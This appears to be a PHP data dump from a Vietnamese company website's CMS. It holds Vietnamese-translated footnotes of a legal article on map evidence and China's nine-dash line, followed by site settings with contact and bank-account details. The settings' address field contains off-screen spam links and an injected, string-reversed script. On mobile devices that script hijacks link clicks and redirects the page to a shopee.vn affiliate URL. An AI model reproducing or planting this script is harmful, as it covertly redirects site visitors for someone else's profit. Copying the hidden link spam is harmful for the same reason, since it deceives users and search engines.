chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 